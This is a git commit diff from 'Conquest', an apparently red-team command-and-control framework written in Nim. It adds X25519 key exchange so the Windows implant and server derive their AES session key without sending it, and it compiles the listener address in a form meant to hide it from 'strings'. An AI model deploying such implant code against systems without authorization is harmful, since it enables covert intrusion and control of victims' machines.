Implemented ECDH key exchange using ed25519 to share a symmetric AES key without transmitting it over the network.

This commit is contained in:
Jakob Friedl
2025-07-24 15:31:46 +02:00
parent cf4e4a7017
commit b6c720ccca
11 changed files with 166 additions and 45 deletions

View File

@@ -1,4 +1,11 @@
#!/bin/bash
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim
nim --os:windows \
--cpu:amd64 \
--gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
-d:release \
--outdir:"$CONQUEST_ROOT/bin" \
-o:"monarch.x64.exe" \
c $CONQUEST_ROOT/src/agents/monarch/main.nim

View File

@@ -206,7 +206,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
iv: generateIV(),
gmac: default(AuthenticationTag)
),
sessionKey: config.sessionKey,
agentPublicKey: config.agentPublicKey,
metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(),
@@ -251,8 +251,8 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
let header = packer.packHeader(data.header, uint32(encData.len))
packer.reset()
# Serialize session key
packer.addData(data.sessionKey)
let key = packer.pack()
# Serialize the agent's public key to add it to the header
packer.addData(data.agentPublicKey)
let publicKey = packer.pack()
return header & key & encData
return header & publicKey & encData

View File

@@ -1,4 +1,4 @@
import strformat, os, times, random
import strformat, os, times, system, base64
import winim
import core/[task, taskresult, heartbeat, http, register]
@@ -12,10 +12,9 @@ const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
proc main() =
randomize()
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
@@ -35,15 +34,27 @@ proc main() =
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config = AgentConfig(
var config: AgentConfig
try:
let agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
config = AgentConfig(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: generateSessionKey(), # Generate a new AES256 session key for encrypted communication
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey
)
# Clean up agent's private key from memory
zeroMem(agentKeyPair.privateKey[0].addr, sizeof(PrivateKey))
except CatchableError as err:
echo "[-] " & err.msg
# Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration)

View File

@@ -5,4 +5,5 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=5
-d:SleepDelay=10
-d:ServerPublicKey="8OysfB6C8kn8KSu8bYIH/78BMCpFOZsTaAWEG+860HY="

View File

@@ -1,20 +1,28 @@
import random
import system
import nimcrypto
import nimcrypto/blake2
from ed25519 import keyExchange, createKeyPair, seed
# from monocypher import crypto_key_exchange_public_key, crypto_key_exchange, crypto_blake2b, crypto_wipe
import ./[utils, types]
proc generateSessionKey*(): Key =
# Generate a random 256-bit (32-byte) session key for AES-256 encryption
var key: array[32, byte]
for i in 0 ..< 32:
key[i] = byte(rand(255))
return key
#[
Symmetric AES256 GCM encryption for secure C2 traffic
Ensures both confidentiality and integrity of the packet
]#
proc generateKeyPair*(): KeyPair =
let keyPair = createKeyPair(seed())
return KeyPair(
privateKey: keyPair.privateKey,
publicKey: keyPair.publicKey
)
proc generateIV*(): Iv =
# Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
var iv: array[12, byte]
for i in 0 ..< 12:
iv[i] = byte(rand(255))
var iv: Iv
if randomBytes(iv) != 12:
raise newException(CatchableError, "Failed to generate IV.")
return iv
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
@@ -47,3 +55,67 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
return (data, tag)
#[
ECDHE key exchange using ed25519
]#
proc loadKeys*(privateKeyFile, publicKeyFile: string): KeyPair =
let filePrivate = open(privateKeyFile, fmRead)
defer: filePrivate.close()
var privateKey: PrivateKey
var bytesRead = filePrivate.readBytes(privateKey, 0, sizeof(PrivateKey))
if bytesRead != sizeof(PrivateKey):
raise newException(ValueError, "Invalid private key length.")
let filePublic = open(publicKeyFile, fmRead)
defer: filePublic.close()
var publicKey: PublicKey
bytesRead = filePublic.readBytes(publicKey, 0, sizeof(PublicKey))
if bytesRead != sizeof(PublicKey):
raise newException(ValueError, "Invalid public key length.")
return KeyPair(
privateKey: privateKey,
publicKey: publicKey
)
proc writeKey*[T: PublicKey | PrivateKey](keyFile: string, key: T) =
let file = open(keyFile, fmWrite)
defer: file.close()
let bytesWritten = file.writeBytes(key, 0, sizeof(T))
if bytesWritten != sizeof(T):
raise newException(ValueError, "Invalid key length.")
proc combineKeys(publicKey, otherPublicKey: Key): Key =
# XOR is a commutative operation, that ensures that the order of the public keys does not matter
for i in 0..<32:
result[i] = publicKey[i] xor otherPublicKey[i]
proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
var key: Key
# Calculate shared secret (https://monocypher.org/manual/x25519)
let sharedSecret = keyExchange(publicKey, keyPair.privateKey)
# Add combined public keys to hash
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
# Calculate Blake2b hash to derive session key
var ctx: blake2_512
ctx.init()
ctx.update(sharedSecret)
ctx.update("CONQUEST".toBytes() & @combinedKeys)
let hash = ctx.finish
let bytes = hash.data[0..<sizeof(Key)]
copyMem(key[0].addr, bytes[0].addr, sizeof(Key))
# Cleanup
zeroMem(sharedSecret[0].addr, sharedSecret.len)
return key

View File

@@ -52,6 +52,8 @@ type
# Encryption
type
Key* = array[32, byte]
PublicKey* = array[32, byte]
PrivateKey* = array[64, byte]
Iv* = array[12, byte]
AuthenticationTag* = array[16, byte]
@@ -133,7 +135,7 @@ type
AgentRegistrationData* = object
header*: Header
sessionKey*: Key # [32 bytes ] AES 256 session key
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
metadata*: AgentMetadata
# Agent structure
@@ -168,12 +170,17 @@ type
# Server structure
type
KeyPair* = object
privateKey*: PrivateKey
publicKey*: Key
Conquest* = ref object
prompt*: Prompt
dbPath*: string
listeners*: Table[string, Listener]
agents*: Table[string, Agent]
interactAgent*: Agent
keyPair*: KeyPair
# Agent Config
type
@@ -184,3 +191,4 @@ type
port*: int
sleep*: int
sessionKey*: Key
agentPublicKey*: PublicKey

View File

@@ -1,8 +1,14 @@
import strutils, sequtils, random, strformat
import strutils, sequtils, strformat
import nimcrypto
import ./types
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
var uuid: array[4, byte]
if randomBytes(uuid) != 4:
raise newException(CatchableError, "Failed to generate UUID.")
return uuid.toHex().toUpperAscii()
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
@@ -63,3 +69,9 @@ proc toBytes*(value: uint64): seq[byte] =
byte((value shr 48) and 0xFF),
byte((value shr 56) and 0xFF)
]
proc toKey*(value: string): Key =
if value.len != 32:
raise newException(ValueError, "Invalid key length.")
copyMem(result[0].addr, value[0].unsafeAddr, 32)

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
import ../utils
import ../task/dispatcher
@@ -140,6 +140,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
# Covert the servers's public X25519 key to as base64 string
let publicKey = encode(cq.keyPair.publicKey)
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
# Agent configuration
@@ -150,6 +153,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
-d:Octet4="{fourth}"
-d:ListenerPort={listener.port}
-d:SleepDelay={sleep}
-d:ServerPublicKey="{publicKey}"
""".replace(" ", "")
writeFile(agentConfigFile, config)

View File

@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener]
import ../[globals, utils]
import ../db/database
import ../../common/[types, utils]
import ../../common/[types, utils, crypto]
#[
Argument parsing
@@ -127,14 +127,16 @@ proc header(cq: Conquest) =
cq.writeLine("".repeat(21))
cq.writeLine("")
proc initConquest*(dbPath: string): Conquest =
# TODO: Add profile support instead of hardcoded paths, etc.
proc initConquest*(): Conquest =
var cq = new Conquest
var prompt = Prompt.init()
cq.prompt = prompt
cq.dbPath = dbPath
cq.dbPath = "../data/conquest.db"
cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil
cq.keyPair = loadKeys("../data/keys/conquest-server_ed25519_private.key", "../data/keys/conquest-server_ed25519_public.key")
return cq
@@ -146,8 +148,12 @@ proc startServer*() =
setControlCHook(exit)
# Initialize framework
let dbPath: string = "../data/conquest.db"
cq = initConquest(dbPath)
try:
cq = initConquest()
except CatchableError as err:
echo err.msg
quit(0)
# Print header
cq.header()

View File

@@ -1,8 +1,6 @@
import random
import core/server
import strutils
# Conquest framework entry point
when isMainModule:
randomize()
startServer()

View File

@@ -95,10 +95,12 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
# TODO: Validate sequence number
# Decrypt payload
let sessionKey = unpacker.getKey()
let payload = unpacker.getBytes(int(header.size))
# Key exchange
let agentPublicKey = unpacker.getKey()
let sessionKey = deriveSessionKey(cq.keyPair, agentPublicKey)
# Decrypt payload
let payload = unpacker.getBytes(int(header.size))
let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr)
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD